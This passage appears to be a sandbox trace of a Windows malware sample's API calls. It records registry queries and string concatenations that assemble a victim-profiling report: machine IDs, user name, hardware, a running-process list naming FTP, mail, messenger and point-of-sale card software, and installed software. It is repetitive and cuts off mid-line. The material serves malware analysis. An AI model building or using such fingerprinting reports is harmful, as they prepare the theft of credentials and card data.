certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016"
[0054.948] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.948] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 ["
[0054.948] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe 